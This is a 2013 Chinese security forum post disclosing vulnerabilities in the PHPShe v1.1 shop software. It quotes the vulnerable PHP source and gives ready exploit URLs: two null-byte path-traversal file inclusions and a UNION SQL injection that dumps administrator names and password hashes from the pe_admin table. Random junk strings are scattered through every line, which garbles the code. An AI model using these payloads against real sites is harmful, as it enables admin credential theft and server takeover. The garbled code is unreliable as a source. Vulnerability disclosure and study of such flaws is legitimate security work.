找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2313|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
- R5 u% B+ q2 ?7 @, @/* Phpshe v1.1 Vulnerability
" v/ ?5 h# P% N( s% D/* ========================
$ ^) K4 L/ `4 u4 y/ Z6 u/* By: : Kn1f3
) }1 |0 E) M- F$ ^/ T" O. V, A/* E-Mail : 681796@qq.com
$ u: O2 v+ i' `/*******************************************************/# e+ v9 o, O( X, N! u; J
0×00 整体大概参数传输
$ U+ P1 {  Z- {0 N! L * g$ s0 q! U' _  c9 w

! D; k+ R; X1 n! Q0 j  U
& h: P) E) V+ Y5 A  C4 v: ^. m
//common.php
  v- Y; q# C$ K5 d, S* xif (get_magic_quotes_gpc()) {
5 j5 O# |% F! P6 M8 j!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');# `5 T9 r7 w9 Q( S! I8 E
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');0 _0 Q1 k  a" l4 }6 m) J
}
( T, r& H6 P. D  H; welse {
" o9 A( ?. K' I1 A7 K6 Z3 j- B; v!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
5 z! Z  G% {( n" a4 S/ x4 Q! w!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');) [7 x% z% i: E# ^
}
4 K+ D1 i2 o1 F+ p2 M2 `session_start();
- D* i0 t) K8 j. E$ f: U!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 n! r2 a0 p0 b% L!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
  a/ P; a$ s% V3 ^! @" h- {$ e4 U8 `  H& a1 K% g
0×01 包含漏洞+ q) z: H$ p: b& F' p2 Z2 L8 g

1 q' Y& G8 [5 ?  Q) K' l  G
1 f; b/ S; }- M, a6 A
//首页文件$ I+ U2 B. i2 S. J8 r% I
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
& U" A# x( {; `- Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞1 |, d  u' f! j' ^2 A' O
pe_result();
( t2 q* W+ V  f2 }" w" o; A?>/ t0 X6 h4 m7 p% T
//common 文件 第15行开始4 t  \1 r5 D$ w4 B9 p
url路由配置
) t# e; N/ _$ P5 n$module = $mod = $act = 'index';
, X, f5 \+ I4 ]5 a6 e8 n: C$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
9 W0 A6 H, d$ S. \' v* q8 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);0 t+ T6 h- P/ [5 X+ [; B& M! S
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);6 {- x# |% U3 J* B! c  C; z1 |
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
; J0 Y1 Y: O6 K6 E5 x: @


0 b' f5 t( ^# }, a3 f$ ]0 O ' ?  x8 w, c! @! F" P# v0 H# U
0×02 搜索注入
# k0 T: L7 B! D( u$ K& D9 b7 v
( ?' y9 P0 G2 R<code id="code2">

//product.php文件9 \0 n: K6 D7 }! x+ y
case 'list':
  i5 k3 y! @; U$ ?$ `$category_id = intval($id);
, G$ X5 d& I, b9 e$info = $db->pe_select('category', array('category_id'=>$category_id));0 N! V. ]6 g& `0 ]
//搜索
! }' |4 m2 Y1 ?8 w$ i* j$sqlwhere = " and `product_state` = 1";( y8 `+ t( m6 i* u! ?8 L! |
pe_lead('hook/category.hook.php');7 T! n2 u4 s) B  a2 }$ B1 B% m
if ($category_id) {( @/ p- `5 f8 ]! ^. v$ h
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";" `  z* o; x" v# f  |8 o, [3 r0 Q
}
; H) Y" D: P& i4 }2 q! R' N: V. l8 z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤, E8 O/ H) ?" U$ l# L- E  X: g
if ($_g_orderby) {# w- x3 x% ?, m' \6 j0 {
$orderby = explode('_', $_g_orderby);# I8 U# a- r% y: i
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";. B7 ^# _7 [! n6 G
}
  V4 s3 ^( v, f1 Y5 b: T; ?else {* f- w+ f. T# C# ]1 y8 l/ `2 t
$sqlwhere .= " order by `product_id` desc";
& E" t& e# i8 f- k}
& ^( b8 L+ z4 C) r8 h3 R$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
9 s! s8 p7 S5 {( z8 W//热卖排行
+ m0 Y9 u$ A- b+ B* p6 ?! j, w$product_hotlist = product_hotlist();
+ W  Y+ y% _4 U//当前路径
" x) y2 _; l7 X$nowpath = category_path($category_id);
/ O( |7 |' f  V- r4 H" U$seo = pe_seo($info['category_name']);
* ~" r. Y# l/ @' D# u2 q! J$ Z! sinclude(pe_tpl('product_list.html'));
* o" s4 a0 {. P//跟进selectall函数库: |- i' H" t6 B/ C( a2 P# O* z0 B
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! C; f5 ^3 c* c6 a& Y. v{
- T' _1 X+ U# o* u% C+ C* d! `//处理条件语句- D' X! D2 P2 E4 r" `; |' k4 W" S
$sqlwhere = $this->_dowhere($where);# o# Z) q5 d7 x; I. O: P6 B& g
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
( ^+ K  h8 U* M1 q. d3 b}
8 q. X1 R; z7 D; L//exp% Q7 Z; O+ ~: p' F% X
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
0 A3 ]: y8 v- }3 Y3 |+ Y# i

</code>. g  ^# s! S& D/ O+ \* F% Q/ P

, @. ~: @3 ]7 w) m' e0×03 包含漏洞2
' X  H. z# ~( f; o( z0 ?1 x6 R- j % \! `6 W0 i1 _" w% |2 I8 |. ?, X) U
<code id="code3">

//order.php

case 'pay':


( L5 T& X! m: K$order_id = pe_dbhold($_g_id);

* k! F9 o3 ~9 Z+ l
$cache_payway = cache::get('payway');

- |/ }! c: G3 C8 _
foreach($cache_payway as $k => $v) {

: `% ]% S" u3 p7 V
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 g/ u' U0 T, j9 M
if ($k == 'bank') {

# I2 L: l" Q) C/ p. m
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


( C8 S' Q7 B7 X8 ]+ ~7 ]}


( _) z1 q4 \5 E9 P& b}


( V3 K% t# g8 T' Z$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


7 V5 D; S$ Z, ]1 ~& O# y" c5 G!$order['order_id'] && pe_error('订单号错误...');

$ V1 C! p$ ^) T% ]* j
if (isset($_p_pesubmit)) {


; e; l  P) T# x) A& ~if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 M3 O$ e2 O7 G$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

& q8 e$ k8 r3 T  b6 ~# `% g
foreach ($info_list as $v) {

* h, |% s: ^; y0 g6 F& J/ N. F
$order['order_name'] .= "{$v['product_name']};";
* B2 N5 h" T% U+ n4 l3 m9 B: ^

& U2 j9 y5 F$ L9 t( H# \5 a
}


6 l# J" ^/ P& z. ?8 E2 ]4 Eecho '正在为您连接支付网站,请稍后...';

5 f; M0 M# y1 p5 W% F
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

2 |% R) l! q5 r5 X: m% i
}//当一切准备好的时候就可以进行"鸡肋包含了"


3 ]" h0 K% J# b/ [1 L1 zelse {


: S9 g* ?( S1 @! q. }3 \* ipe_error('支付错误...');

' i; ?" u5 J! W$ K
}


! v0 R( _, z" l}


& C7 B& p0 n) e0 e$ e6 e8 Y$seo = pe_seo('选择支付方式');

$ L* ]+ b. V- G+ u" }+ R
include(pe_tpl('order_pay.html'));

% y4 K' e) u' s9 f
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>5 b. g0 p" v& e* c# r5 F7 y! p

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表